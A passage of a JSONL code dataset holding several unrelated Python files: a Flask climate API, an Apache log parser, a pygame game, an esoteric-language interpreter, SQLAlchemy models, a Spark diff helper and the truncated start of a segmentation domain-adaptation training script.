\\\r\n /api/v1.0/precipitation
\\\r\n /api/v1.0/stations
\\\r\n /api/v1.0/tobs
\\\r\n /api/v1.0/start
\\\r\n /api/v1.0/start/end\")\r\n\r\n@app.route(\"/api/v1.0/precipitation\")\r\ndef dates():\r\n \"\"\" Return a list of all dates and temperature observations\r\n \"\"\"\r\n # Query all dates and temperature observations for last year\r\n results = session.query(Measurement.date, Measurement.tobs).\\\r\n filter(Measurement.date.between('2017-01-01', '2017-12-31')).all()\r\n\r\n #Convert query results to dictionary\r\n all_observations = []\r\n for temp in results:\r\n temp_dict = {}\r\n temp_dict[\"date\"] = temp.date\r\n temp_dict[\"tobs\"] = temp.tobs\r\n all_observations.append(temp_dict)\r\n\r\n # Convert list of tuples into normal list\r\n return jsonify(all_observations)\r\n\r\n@app.route(\"/api/v1.0/stations\")\r\ndef stations():\r\n station_results = session.query(Measurement.station).\\\r\n filter(Measurement.date.between('2017-01-01', '2017-12-31')).all()\r\n \r\n all_stations = []\r\n for station in station_results:\r\n station_dict = {}\r\n station_dict[\"station\"]=station.station\r\n all_stations.append(station_dict)\r\n\r\n return jsonify(all_stations)\r\n\r\n@app.route(\"/api/v1.0/tobs\")\r\ndef tobs():\r\n tobs_results = session.query(Measurement.tobs).\\\r\n filter(Measurement.date.between('2017-01-01', '2017-12-31')).all()\r\n \r\n all_tobs = []\r\n for tob in tobs_results:\r\n tob_dict = {}\r\n tob_dict[\"Temp. Observations\"]= tob.tobs\r\n all_tobs.append(tob_dict)\r\n\r\n return jsonify(all_tobs)\r\n\r\n#@app.route(\"/api/v1.0/\")\r\n@app.route(\"/api/v1.0/start\")\r\n\r\ndef temp_details(start = '2017-01-01'):\r\n \"\"\"Return temperature details for a given start date.\"\"\"\r\n\r\n # Temperature details for a given start date\r\n temperature_details = session.query(Measurement.tobs).\\\r\n filter(Measurement.date == start).all()\r\n temperature_details_df = pd.DataFrame(temperature_details, columns=['Observations_Count'])\r\n tobs = temperature_details_df['Observations_Count']\r\n \r\n min_temp = min(tobs)\r\n max_temp = max(tobs)\r\n avg_temp = np.mean(tobs)\r\n\r\n temp_details = []\r\n \r\n temp_start__dict = {}\r\n temp_start__dict['Min Temperature'] = float(min_temp)\r\n temp_start__dict['Max Temperature'] = float(max_temp)\r\n temp_start__dict['Avg Temperature'] = float(avg_temp)\r\n temp_details.append(temp_start__dict)\r\n\r\n return jsonify(temp_details)\r\n\r\nif __name__ == '__main__':\r\n app.run(debug = True)","sub_path":"climate_app.py","file_name":"climate_app.py","file_ext":"py","file_size_in_byte":3603,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"545380365","text":"import shlex\nimport json\nfrom collections import Counter\nimport argparse\nfrom tabulate import tabulate\nimport pandas as pd\n\nprint(\"Fields : ip | timestamp | version | status_code | size | url | browser\")\nparser=argparse.ArgumentParser(description='Apache Log Parser')\nparser.add_argument('field',type=str,help='apache log field')\nparser.add_argument('aggregate',nargs='?',type=str,help='Enter aggregation')\nargs = parser.parse_args()\ndata=[]\n\nf=open('testlog.txt','r')\nfor line in f:\n\tx=shlex.split(line)\n\tip_address=x[0]\n\tts=x[3]+x[4]\n\tversion=x[5]\n\tstatus_code=x[6]\n\tsize=x[7]\n\turl=x[8]\n\tbrowser=x[9]\n\tdata.append({\"ip\":ip_address,\"timestamp\":ts,\"version\":version,\"status_code\":status_code,\"size\":size,\"url\":url,\"browser\":browser})\n\n\n\nfield=args.field\t\naggs=[]\nfor i in data:\n\taggs.append(i[field])\n#print(\"Fields:\"+field)\n#print(aggs)\ntable=[]\nif(args.aggregate==\"count\"):\n\tc=Counter(aggs)\n\tfor key,value in c.items():\n\t\tCol1=key\n\t\tCol2=value\n\t\tcolumn=Col1,Col2\n\t\ttable.append(column)\t\nprint(tabulate(table,headers=['Field', 'Occurance'], tablefmt='orgtbl'))\n\ndf=pd.DataFrame(data)\ndf.to_csv('apache.csv', sep=',', encoding='utf-8')\n\n\n\t\n\n\t\n\n\t\n","sub_path":"logParser.py","file_name":"logParser.py","file_ext":"py","file_size_in_byte":1146,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"50449484","text":"import pygame\nfrom pygame.locals import *\nimport sys\nimport time\nimport math\nimport pyganim\n\npygame.init()\n\n\n#--------Variable Declarations--------------#\n\nMAX_X = 800\nMAX_Y = 640\n \n# set up the colors\nBLACK = ( 0, 0, 0)\nWHITE = (255, 255, 255)\nRED = (255, 0, 0)\nGREEN = ( 0, 255, 0)\nBLUE = ( 0, 0, 255)\nmainClock = pygame.time.Clock()\nBGCOLOR = (100, 50, 50)\n\nbeginning_time = time.time()\nSurface = pygame.display.set_mode((MAX_X, MAX_Y))\npygame.display.set_caption('Planet Vortex')\nline_coords = [ [[0,0],[0,0],[0]] , [[0,0],[0,0],[0]] , [[0,0],[0,0],[0]] , [[0,0],[0,0],[0]] , [[0,0],[0,0],[0]] ]\n#-------------------------------------------#\n\n\n#---------Helper Functions -----------------#\ndef CoordtoDeg(x,y):\n if(x>0 and y<0):\n return 360.0 + math.degrees(math.atan(y/x))\n elif(x<0 and y>0):\n return 180.0 + math.degrees(math.atan(y/x))\n elif(x<0 and y<0):\n return 180.0 + math.degrees(math.atan(y/x))\n elif(x>0 and y>0):\n return math.degrees(math.atan(y/x))\n elif(x==0 and y>0):\n return 90.0\n elif(x==0 and y<0):\n return 270.0\n elif(y==0 and x<0):\n return 180.0\n elif(y==0 and x>0):\n return 0.0\n\ndef returnSign(x):\n return x/abs(x+sys.float_info.epsilon)-sys.float_info.epsilon\ndef DegtoRad(angle):\n return angle/180.0*math.pi\ndef ConvertCoord(x,y):\n return [x+400, -1*y +320]\ndef rot_center(image, angle):\n \"\"\"rotate an image while keeping its center and size\"\"\"\n orig_rect = image.get_rect()\n rot_image = pygame.transform.rotate(image, angle)\n rot_rect = orig_rect.copy()\n rot_rect.center = rot_image.get_rect().center\n rot_image = rot_image.subsurface(rot_rect).copy()\n return rot_image\ndef mag(x,y):\n return math.sqrt(x*x+y*y)\ndef dist(p1, p2):\n return math.sqrt( (p2[1]-p1[1])**2 + (p2[0]-p1[0])**2)\ndef findSlope(line):\n if((line[0][0]-line[1][0]) == 0):\n return 1000.0\n slope = float(line[0][1]-line[1][1])/(line[0][0]-line[1][0])\n return slope\ndef keepAngleInRange(angle):\n return angle%360\n#-------------------------------------------#\nclass Ball(pygame.sprite.Sprite):\n def __init__(self, x, y, dx, dy, r, angle):\n pygame.sprite.Sprite.__init__(self)\n self.gaccel=0.05 #gravitational acceleration constant\n self.x = x\n self.y = y\n self.r = r\n self.dx = dx\n self.dy = dy\n self.totalr = earth.r + r\n self.FIRSTTOUCH=True\n self.angle = 20\n self.speed = 0\n self.gspeed=0\n self.draw_width = 4\n self.stop = 1\n self.Aangle = 0\n self.Vangle = 0\n self.collide =[False, 0]\n self.ddr = 0\n self.dr = -.1 #this is essentially gravity\n def draw(self):#WORKING\n pygame.draw.circle(Surface, BLACK, ConvertCoord((int)(self.x),(int)(self.y)), (int)(self.r),self.draw_width)\n def grav(self):#IMPLEMENT TAKE OFF\n if(self.totalr>160):\n self.totalr += self.dr\n self.ddr = -.0005\n else:\n self.ddr = 0\n self.dr = -.1\n self.dr+= self.ddr\n def move(self, earthobj, lines):\n self.clickRotate()\n #self.applyearthspeed()\n #print self.Aangle\n self.applyAndSlow(1.012, line_coords)\n self.grav()\n \n \n \n def clickRotate(self):\n key=pygame.key.get_pressed()\n if(self.totalr < earth.r + self.r+2):\n if(key[K_RIGHT] and self.Aangle >-0.05):\n self.Aangle -= 0.000035\n if(key[K_LEFT]and self.Aangle <0.05):\n self.Aangle += 0.000035\n \n def applyAndSlow(self, slow_constant, lines):\n if((self.Vangle>-0.5 and self.Aangle<0) or (self.Vangle<0.5 and self.Aangle>0)):\n self.Vangle+=self.Aangle\n \n self.barrierCollision(lines)#BARRIER COLLIDE PROBLEM\n self.angle += self.Vangle\n self.Vangle = self.Vangle/slow_constant\n self.Aangle = self.Aangle/slow_constant\n key=pygame.key.get_pressed()\n \n if(key[K_SPACE]):#works\n self.angle = CoordtoDeg(pygame.mouse.get_pos()[0]-400.0,-1.0*(pygame.mouse.get_pos()[1]-320.0))\n self.totalr = mag(pygame.mouse.get_pos()[0]-400.0,-1.0*(pygame.mouse.get_pos()[1]-320.0) )\n \n self.x = self.totalr*math.cos(DegtoRad(self.angle)) #calculate coordinates using angles\n self.y = self.totalr*math.sin(DegtoRad(self.angle))\n\n self.angle = keepAngleInRange(self.angle)#keep angle from 0 - 360\n \n if(self.Vangle>2.0): #CAPPING STATEMENT ON SPEED OF THE BALL\n self.Vangle= 2.0\n elif(self.Vangle<-2.0):\n self.Vangle = 2\n \n def barrierCollision(self, lines):\n for n in range(len(lines)):\n difference = lines[n][2] - self.angle\n if(self.totalr < earth.r + earth.line_length + self.r):\n if(difference<= 7.5 and difference >0):#collision on right side\n if( returnSign(earth.speed) == returnSign(self.Vangle) ):\n self.Vangle = self.Vangle\n else: \n self.Vangle = -1*self.Vangle\n self.Aangle = -1*self.Aangle*0.05\n self.angle = lines[n][2] -7.8 #this number was hand calculated\n \n self.Vangle*=0.001\n elif(difference>= -7.5 and difference <0):#collision on left side\n if( returnSign(earth.speed) == returnSign(self.Vangle) ):\n #self.Vangle = earth.speed\n self.Vangle = self.Vangle\n else: \n self.Vangle = -1*self.Vangle\n self.Aangle = -1*self.Aangle*0.05\n self.angle = lines[n][2] + 7.8\n self.Vangle*=0.001\n \n def pointToLine(self,line):#[[400,500],[580,420]] WORKING\n mline = findSlope(line)#slope of the barrier line\n '''\n \n '''\n distance = 0\n if(self.Vangle!=0):\n self.dx = self.Vangle*math.cos(self.angle)\n self.dy = self.Vangle*math.sin(self.angle)\n if(self.dx ==0):\n if(self.dy<0):\n mball = -1000\n elif(self.dy>0):\n mball = 1000\n elif(self.dy==0):\n mball = 0\n else:\n mball = self.dy/self.dx\n if(mline==0):\n distance = abs(line[0][1] - self.y)\n else:\n x = (mball*(self.x) - self.y + line[1][1] - mline*line[1][0])/(mball-mline)\n y = mline*x+(line[1][1] - mline*line[1][0])\n distance = dist([self.x,self.y],[x,y])\n return distance\n def between(self, lines):\n for n in range(len(lines)):\n #[ [[0,0],[0,0]] , [[0,0],[0,0]] , [[0,0],[0,0]] , [[0,0],[0,0]] , [[0,0],[0,0]] ]\n center = [ (lines[n][0][0] +lines[n][1][0])/2 , (lines[n][0][1] + lines[n][1][1])/2 ]\n if( dist(center, [self.x,self.y]) < 2*self.r ):\n if(self.r>=self.pointToLine(lines[n])):\n self.collide = [True, lines[n][2]]\n else:\n self.collide = [False, lines[n][2]]\n \n\n \n \n \n \n \n\n\nclass Planet(pygame.sprite.Sprite):\n def __init__(self, x, y, r, rotation, line_length, speed, accel):\n pygame.sprite.Sprite.__init__(self)\n self.x = x\n self.y = y\n self.r = r\n self.rotangle = rotation\n self.line_length = line_length\n self.draw_width = 10\n self.speed = speed\n self.accel = accel\n def draw(self):#WORKS\n pygame.draw.circle(Surface, BLACK, ConvertCoord((int)(self.x),(int)(self.y)), (int)(self.r), self.draw_width)\n def lines(self, num_lines):#WORKS\n total_degrees = 360.0\n section_degrees = total_degrees/num_lines\n for n in range(num_lines):\n line_coords[n][0][0]= self.r * math.cos( DegtoRad(self.rotangle + n*section_degrees) )\n line_coords[n][0][1] = self.r * math.sin( DegtoRad(self.rotangle + n*section_degrees) )\n line_coords[n][1][0] = (self.r+self.line_length) * math.cos( DegtoRad(self.rotangle + n*section_degrees) )\n line_coords[n][1][1] = (self.r+self.line_length) * math.sin( DegtoRad(self.rotangle + n*section_degrees) )\n line_coords[n][2] = (self.rotangle%360 + n*section_degrees)%360\n self.draw_lines(ConvertCoord(line_coords[n][0][0],line_coords[n][0][1]),ConvertCoord(line_coords[n][1][0],line_coords[n][1][1]))\n \n def draw_lines(self, p1, p2):#WORKS\n pygame.draw.line(Surface, BLACK, p1, p2, self.draw_width)\n def rotation(self, slow_constant):\n key=pygame.key.get_pressed()\n \n if(abs(self.accel)<0.05):\n if(key[K_RIGHT]):\n self.accel-=0.00003\n elif(key[K_LEFT]):\n self.accel+=0.00003\n self.speed = self.speed/slow_constant\n self.accel = self.accel/slow_constant\n if((self.speed>-0.5 and self.accel<0) or (self.speed<0.5 and self.accel>0)):\n self.speed+=self.accel\n self.incrementAngle(self.speed)\n \n \n def incrementAngle(self, angle):\n self.rotangle+=angle\n \n \n#---Initialize objects---#\nplanet_radius = 140.0\nball_radius = 20.0\nearth = Planet(0,0, planet_radius,0, 55, 0,0)\nball1 = Ball(planet_radius + ball_radius, 0, 0, 0, ball_radius, 0)\n\nwhile True:\n Surface.fill(BGCOLOR)\n for event in pygame.event.get():\n if event.type == QUIT or (event.type == KEYDOWN and event.key == K_ESCAPE):\n pygame.quit()\n sys.exit()\n#--drawings--#\n #print ball1.x , \" \", ball1.y\n earth.lines(5)\n earth.draw()\n ball1.draw()\n#------------#\n \n\n#----Calculations---#\n earth.rotation(1.012)\n \n #ball1.x = pygame.mouse.get_pos()[0]-400\n #ball1.y = -1*(pygame.mouse.get_pos()[1]-320)\n ball1.move(earth, line_coords)\n #ball1.boundary()\n #ball1.between(line_coords)\n #earth.applygrav(ball1)\n pygame.display.update()\n \n","sub_path":"BallBounceAllinAngleCalculations.py","file_name":"BallBounceAllinAngleCalculations.py","file_ext":"py","file_size_in_byte":10248,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"351620078","text":"import random\n\ndef print_err(s):\n print(\"\\033[38;2;255;0;0m\" + s + \"\\033[0;0;0m\")\n\nprint(\"Welcome to Eso2D!\")\nchoice = None\nwhile choice != \"1\" and choice != \"2\":\n if choice != None:\n print(\"Invalid choice\")\n print(\" 1. Run example code\")\n print(\" 2. Run your own code\")\n choice = input(\"Choose one: \")\nif choice == \"1\":\n filename = input(\"Enter file name (in 'examples' folder): \").replace(\" \", \"-\").split(\"/\")[-1].split(\".\")[0].lower()\nelse:\n print(\"Enter code (or nothing to run what you've entered):\")\n code = []\n s = input(\"> \")\n while s != \"\":\n code.append(s)\n s = input(\"> \")\n filename = None\n\ntry:\n if not filename is None:\n code = open(\"examples/\" + filename + \".e2d\").read().split(\"\\n\")\n if len(code) < 1:\n code.append([\" \"])\nexcept FileNotFoundError:\n print_err(\"No file named 'examples/\" + filename + \".e2d'\")\nexcept IsADirectoryError:\n print_err(\"No filename entered\")\nelse:\n \n \n CODE_WIDTH, CODE_HEIGHT = 0, len(code)\n for line in code:\n if len(line) > CODE_WIDTH:\n CODE_WIDTH = len(line)\n for i in range(len(code)):\n if len(code[i]) < CODE_WIDTH:\n code[i] = code[i].ljust(CODE_WIDTH, \" \")\n mem, mem_index, row, col, direction = [0], 0, 0, 0, 1\n # direction: 0 = up, 1 = right, 2 = down, 3 = left\n \n while True:\n c = code[row][col]\n #print(\"Char:\", c) # DEBUG\n if c == \"^\":\n direction = 0\n elif c == \">\":\n direction = 1\n elif c == \"v\":\n direction = 2\n elif c == \"<\":\n direction = 3\n elif c == \",\":\n mem[mem_index] += 1\n elif c == \"_\":\n mem[mem_index] -= 1\n elif c == \"X\":\n direction += 2\n direction %= 4\n elif c == \"~\":\n if direction == 0 or direction == 2:\n direction = (0 if direction == 2 else 2)\n else:\n if mem[mem_index] < 85:\n direction = 0\n elif mem[mem_index] > 170:\n direction = 2\n elif c == \"`\":\n if mem[mem_index] == 0:\n direction = 2\n elif c == \"&\":\n try:\n mem[mem_index] = ord(input(\" \")[0]) % 256\n except IndexError:\n mem[mem_index] = 10\n elif c == \"$\":\n try:\n mem[mem_index] = int(input(\" \")) % 256\n except ValueError:\n mem[mem_index] = 10\n elif c == \":\":\n s = input()\n if s:\n for i, c in enumerate(s):\n if mem_index + i == len(mem):\n mem.append(ord(c))\n else:\n mem[mem_index + i] = ord(c)\n else:\n mem[mem_index] = 10\n elif c == \"#\":\n if mem[mem_index] != 10:\n print(end = chr(mem[mem_index]))\n else:\n print()\n elif c == \"*\":\n print(mem[mem_index], end = \" \")\n elif c == \"@\":\n break\n elif c == \"0\":\n mem[mem_index] += 5\n elif c == \"1\":\n mem[mem_index] += 50\n elif c == \"2\":\n mem[mem_index] += 97\n elif c == \"3\":\n mem[mem_index] -= 200\n elif c == \"4\":\n mem[mem_index] -= 5\n elif c == \"5\":\n mem[mem_index] -= 50\n elif c == \"=\":\n # 'Jump' the IP 2 spaces this iteration instead of just 1,\n # but only if mem[mem_index] > 0\n if mem[mem_index] > 0:\n if direction == 0:\n row -= 1\n if row < 0:\n row = CODE_HEIGHT - 1\n elif direction == 1:\n col += 1\n if col >= CODE_WIDTH:\n col = 0\n elif direction == 2:\n row += 1\n if row >= CODE_HEIGHT:\n row = 0\n else:\n col -= 1\n if col < 0:\n col = CODE_WIDTH - 1\n elif c == \"O\":\n # 'Jump' the IP 2 spaces this iteration instead of just 1\n if direction == 0:\n row -= 1\n if row < 0:\n row = CODE_HEIGHT - 1\n elif direction == 1:\n col += 1\n if col >= CODE_WIDTH:\n col = 0\n elif direction == 2:\n row += 1\n if row >= CODE_HEIGHT:\n row = 0\n else:\n col -= 1\n if col < 0:\n col = CODE_WIDTH - 1\n elif c == \"?\":\n direction = random.randint(0, 3)\n elif c == \"}\":\n mem_index += 1\n if mem_index == len(mem):\n mem.append(0)\n elif c == \"{\":\n mem_index -= 1\n if mem_index == -1:\n print_err(\"Negative memory index\")\n break\n elif c != \" \":\n print_err(\"Invalid character '\" + c + \"' in source code\")\n break\n \n if direction == 0:\n row -= 1\n if row < 0:\n row = CODE_HEIGHT - 1\n elif direction == 1:\n col += 1\n if col >= CODE_WIDTH:\n col = 0\n elif direction == 2:\n row += 1\n if row >= CODE_HEIGHT:\n row = 0\n else:\n col -= 1\n if col < 0:\n col = CODE_WIDTH - 1\n if mem[mem_index] < 0:\n mem[mem_index] = 255\n elif mem[mem_index] > 255:\n mem[mem_index] = 0\n print(\"\\n\\033[38;2;0;255;0m=>\", mem, \"\\033[0;0;0m\")\n","sub_path":"eso2d/eso2d.py","file_name":"eso2d.py","file_ext":"py","file_size_in_byte":4832,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"343599676","text":"import pdb\r\nwhile True:\r\n\ttry:\r\n\t\tn=input('Enter size of the list:')\r\n\t\tbreak\r\n\texcept:\r\n\t\tprint(\"Please provide proper input int value\")\r\nl=[]\r\npdb.set_trace()\r\nfor i in range(n):\r\n ele=input(\"Enter the list element:\")\r\n l.append(ele)\r\n\r\nprint(\"list\",l)\r\nbig=l[0]\r\nfor i in range(1,len(l)):\r\n\tprint(i,\"--\",l[i])\r\n\tif big None:\n \"\"\"\n Entrypoint of `tasks add` command\n\n Arguments:\n settings {[type]} -- [Settings object]\n \"\"\"\n repo = settings.db_repo\n log.debug(\"Trying to add task, using repo: %s\", repo)\n task = repo.parse_task()\n repo.save_task(task)\n log.info(\"Task has been saved with hash [%s]\", task.id_hash)\n","sub_path":"Basic Tasks/src/chapter2/application/use_case/add_task.py","file_name":"add_task.py","file_ext":"py","file_size_in_byte":413,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"58191493","text":"import os\nimport sys\nfrom sqlalchemy import Column, ForeignKey, Integer, String, Date, Boolean\nfrom sqlalchemy.ext.declarative import declarative_base\nfrom sqlalchemy.orm import relationship\nfrom sqlalchemy import create_engine\n\nBase = declarative_base()\n\nclass User(Base):\n\t__tablename__ = 'users'\n\n\n\tid = Column(Integer, primary_key=True)\n\tusername = Column(String, nullable=False)\n\tpassword = Column(String)\n\tfull_name = Column(String, nullable=False)\n\tis_verified = Column(Boolean)\n\nclass Friendship(Base):\n\t__tablename__ = 'friendships'\n\n\tid = Column(Integer, primary_key=True)\n\tuser_id = Column(Integer, ForeignKey('users.id'))\n\tuser = relationship(User)\n\tprofile_id = Column(Integer, ForeignKey('users.id'))\n\tprofile = relationship(User)\n\tstarted_at = Column(Date)\n\tinvited_at = Column(Date)\n\tfollowed_at = Column(Date)\n\tunfollowed_at = Column(Date)\n\tfollowing_at = Column(Date)\n\tunfollwing_at = Column(Date)\n\tfirst_interaction = Column(Date)\n\tlast_interaction = Column(Date)\n\tn_likes = Column(Integer)\n\tn_comments = Column(Integer)\n\tn_replay = Column(Integer)\n\ndef create_db():\n\t# Create an engine that stores data in the local directory's\n\t# sqlalchemy_example.db file.\n\tengine = create_engine('sqlite:///aloha.db')\n\t \n\t# Create all tables in the engine. This is equivalent to \"Create Table\"\n\t# statements in raw SQL.\n\tBase.metadata.create_all(engine)","sub_path":"instagram/model/db.py","file_name":"db.py","file_ext":"py","file_size_in_byte":1360,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"352412716","text":"import pyspark.sql.functions as F\n\ndef dataframe_diff(df_a, df_b, exclude_cols=[]):\n colnames_a = set(df_a.columns)\n colnames_b = set(df_a.columns)\n colnames = colnames_a & colnames_b\n\n c = colnames.difference(set(exclude_cols))\n colnames_a = [x for x in df_a.columns if x in c]\n colnames_b = [x for x in df_b.columns if x in c]\n\n #deleted\n df_a_min_b = df_a.select(colnames_a).subtract(df_b.select(colnames_b))\n\n # insert, modified\n df_b_min_a = df_b.select(colnames_b).subtract(df_a.select(colnames_a))\n\n return df_a_min_b, df_b_min_a\n","sub_path":"datalabframework/spark/diff.py","file_name":"diff.py","file_ext":"py","file_size_in_byte":570,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"239533255","text":"import argparse\nimport torch\nimport torch.nn as nn\nfrom torch.utils import data, model_zoo\nimport numpy as np\nimport pickle\nfrom torch.autograd import Variable\nimport torch.optim as optim\nimport scipy.misc\nimport torch.backends.cudnn as cudnn\nimport torch.nn.functional as F\nimport sys\nimport os\nimport os.path as osp\nimport matplotlib.pyplot as plt\nimport random\nfrom common import config\nfrom torch.utils.data import DataLoader\nfrom data import spacenet\n\nfrom model.deeplab_multi import DeeplabMulti\nfrom model.discriminator import FCDiscriminator\nfrom utils.loss import CrossEntropy2d\nfrom dataset.gta5_dataset import GTA5DataSet\nfrom dataset.cityscapes_dataset import cityscapesDataSet\n\n# IMG_MEAN = np.array((104.00698793, 116.66876762, 122.67891434), dtype=np.float32)\n\nMODEL = 'DeepLab'\nBATCH_SIZE = 4\nITER_SIZE = 1\nNUM_WORKERS = 4\n# DATA_DIRECTORY = './data/GTA5'\n# DATA_LIST_PATH = './dataset/gta5_list/train.txt'\nIGNORE_LABEL = 255\nINPUT_SIZE = '400,400'\n# DATA_DIRECTORY_TARGET = './data/Cityscapes/data'\n# DATA_LIST_PATH_TARGET = './dataset/cityscapes_list/train.txt'\nINPUT_SIZE_TARGET = '400,400'\nLEARNING_RATE = 2.5e-4\nMOMENTUM = 0.9\nNUM_CLASSES = 2\nNUM_STEPS = 250000\nNUM_STEPS_STOP = 150000 # early stopping\nPOWER = 0.9\nRANDOM_SEED = 1234\n# RESTORE_FROM = 'http://vllab.ucmerced.edu/ytsai/CVPR18/DeepLab_resnet_pretrained_init-f81d91e8.pth'\nRESTORE_FROM = None\nSAVE_NUM_IMAGES = 2\nSAVE_PRED_EVERY = 1000\nSNAPSHOT_DIR = './snapshots/'\nWEIGHT_DECAY = 0.0005\n\nLEARNING_RATE_D = 1e-4\nLAMBDA_SEG = 0.1\nLAMBDA_ADV_TARGET1 = 0.0002\nLAMBDA_ADV_TARGET2 = 0.001\nGAN = 'Vanilla'\n\n# TARGET = 'cityscapes'\n# SET = 'train'\n\n\ndef get_arguments():\n \"\"\"Parse all the arguments provided from the CLI.\n\n Returns:\n A list of parsed arguments.\n \"\"\"\n parser = argparse.ArgumentParser(description=\"DeepLab-ResNet Network\")\n parser.add_argument(\"--model\", type=str, default=MODEL,\n help=\"available options : DeepLab\")\n # parser.add_argument(\"--target\", type=str, default=TARGET,\n # help=\"available options : cityscapes\")\n parser.add_argument(\"--batch-size\", type=int, default=BATCH_SIZE,\n help=\"Number of images sent to the network in one step.\")\n parser.add_argument(\"--iter-size\", type=int, default=ITER_SIZE,\n help=\"Accumulate gradients for ITER_SIZE iterations.\")\n parser.add_argument(\"--num-workers\", type=int, default=NUM_WORKERS,\n help=\"number of workers for multithread dataloading.\")\n # parser.add_argument(\"--data-dir\", type=str, default=DATA_DIRECTORY,\n # help=\"Path to the directory containing the source dataset.\")\n # parser.add_argument(\"--data-list\", type=str, default=DATA_LIST_PATH,\n # help=\"Path to the file listing the images in the source dataset.\")\n parser.add_argument(\"--ignore-label\", type=int, default=IGNORE_LABEL,\n help=\"The index of the label to ignore during the training.\")\n parser.add_argument(\"--input-size\", type=str, default=INPUT_SIZE,\n help=\"Comma-separated string with height and width of source images.\")\n # parser.add_argument(\"--data-dir-target\", type=str, default=DATA_DIRECTORY_TARGET,\n # help=\"Path to the directory containing the target dataset.\")\n # parser.add_argument(\"--data-list-target\", type=str, default=DATA_LIST_PATH_TARGET,\n # help=\"Path to the file listing the images in the target dataset.\")\n parser.add_argument(\"--input-size-target\", type=str, default=INPUT_SIZE_TARGET,\n help=\"Comma-separated string with height and width of target images.\")\n parser.add_argument(\"--is-training\", action=\"store_true\",\n help=\"Whether to updates the running means and variances during the training.\")\n parser.add_argument(\"--learning-rate\", type=float, default=LEARNING_RATE,\n help=\"Base learning rate for training with polynomial decay.\")\n parser.add_argument(\"--learning-rate-D\", type=float, default=LEARNING_RATE_D,\n help=\"Base learning rate for discriminator.\")\n parser.add_argument(\"--lambda-seg\", type=float, default=LAMBDA_SEG,\n help=\"lambda_seg.\")\n parser.add_argument(\"--lambda-adv-target1\", type=float, default=LAMBDA_ADV_TARGET1,\n help=\"lambda_adv for adversarial training.\")\n parser.add_argument(\"--lambda-adv-target2\", type=float, default=LAMBDA_ADV_TARGET2,\n help=\"lambda_adv for adversarial training.\")\n parser.add_argument(\"--momentum\", type=float, default=MOMENTUM,\n help=\"Momentum component of the optimiser.\")\n parser.add_argument(\"--not-restore-last\", action=\"store_true\",\n help=\"Whether to not restore last (FC) layers.\")\n parser.add_argument(\"--num-classes\", type=int, default=NUM_CLASSES,\n help=\"Number of classes to predict (including background).\")\n parser.add_argument(\"--num-steps\", type=int, default=NUM_STEPS,\n help=\"Number of training steps.\")\n parser.add_argument(\"--num-steps-stop\", type=int, default=NUM_STEPS_STOP,\n help=\"Number of training steps for early stopping.\")\n parser.add_argument(\"--power\", type=float, default=POWER,\n help=\"Decay parameter to compute the learning rate.\")\n parser.add_argument(\"--random-mirror\", action=\"store_true\",\n help=\"Whether to randomly mirror the inputs during the training.\")\n parser.add_argument(\"--random-scale\", action=\"store_true\",\n help=\"Whether to randomly scale the inputs during the training.\")\n parser.add_argument(\"--random-seed\", type=int, default=RANDOM_SEED,\n help=\"Random seed to have reproducible results.\")\n parser.add_argument(\"--restore-from\", type=str, default=RESTORE_FROM,\n help=\"Where restore model parameters from.\")\n parser.add_argument(\"--save-num-images\", type=int, default=SAVE_NUM_IMAGES,\n help=\"How many images to save.\")\n parser.add_argument(\"--save-pred-every\", type=int, default=SAVE_PRED_EVERY,\n help=\"Save summaries and checkpoint every often.\")\n parser.add_argument(\"--snapshot-dir\", type=str, default=SNAPSHOT_DIR,\n help=\"Where to save snapshots of the model.\")\n parser.add_argument(\"--weight-decay\", type=float, default=WEIGHT_DECAY,\n help=\"Regularisation parameter for L2-loss.\")\n parser.add_argument(\"--gpu\", type=int, default=0,\n help=\"choose gpu device.\")\n # parser.add_argument(\"--set\", type=str, default=SET,\n # help=\"choose adaptation set.\")\n parser.add_argument(\"--gan\", type=str, default=GAN,\n help=\"choose the GAN objective.\")\n return parser.parse_args()\n\n\nargs = get_arguments()\n\n\ndef loss_calc(pred, label, gpu):\n \"\"\"\n This function returns cross entropy loss for semantic segmentation\n \"\"\"\n # out shape batch_size x channels x h x w -> batch_size x channels x h x w\n # label shape h x w x 1 x batch_size -> batch_size x 1 x h x w\n label = Variable(label.long()).cuda(gpu)\n criterion = CrossEntropy2d().cuda(gpu)\n\n return criterion(pred, label)\n\n\ndef lr_poly(base_lr, iter, max_iter, power):\n return base_lr * ((1 - float(iter) / max_iter) ** (power))\n\n\ndef adjust_learning_rate(optimizer, i_iter):\n lr = lr_poly(args.learning_rate, i_iter, args.num_steps, args.power)\n optimizer.param_groups[0]['lr'] = lr\n if len(optimizer.param_groups) > 1:\n optimizer.param_groups[1]['lr'] = lr * 10\n\n\ndef adjust_learning_rate_D(optimizer, i_iter):\n lr = lr_poly(args.learning_rate_D, i_iter, args.num_steps, args.power)\n optimizer.param_groups[0]['lr'] = lr\n if len(optimizer.param_groups) > 1:\n optimizer.param_groups[1]['lr'] = lr * 10\n\n\ndef main():\n \"\"\"Create the model and start the training.\"\"\"\n\n w, h = map(int, args.input_size.split(','))\n input_size = (w, h)\n\n w, h = map(int, args.input_size_target.split(','))\n input_size_target = (w, h)\n\n cudnn.enabled = True\n gpu = args.gpu\n\n # Create network\n if args.model == 'DeepLab':\n model = DeeplabMulti(num_classes=args.num_classes)\n # if args.restore_from[:4] == 'http' :\n # saved_state_dict = model_zoo.load_url(args.restore_from)\n # else:\n # saved_state_dict = torch.load(args.restore_from)\n\n new_params = model.state_dict().copy()\n # for i in saved_state_dict:\n # # Scale.layer5.conv2d_list.3.weight\n # i_parts = i.split('.')\n # # print i_parts\n # if not args.num_classes == 19 or not i_parts[1] == 'layer5':\n # new_params['.'.join(i_parts[1:])] = saved_state_dict[i]\n # # print i_parts\n model.load_state_dict(new_params)\n\n model.train()\n model.cuda(args.gpu)\n\n cudnn.benchmark = True\n\n # init D\n model_D1 = 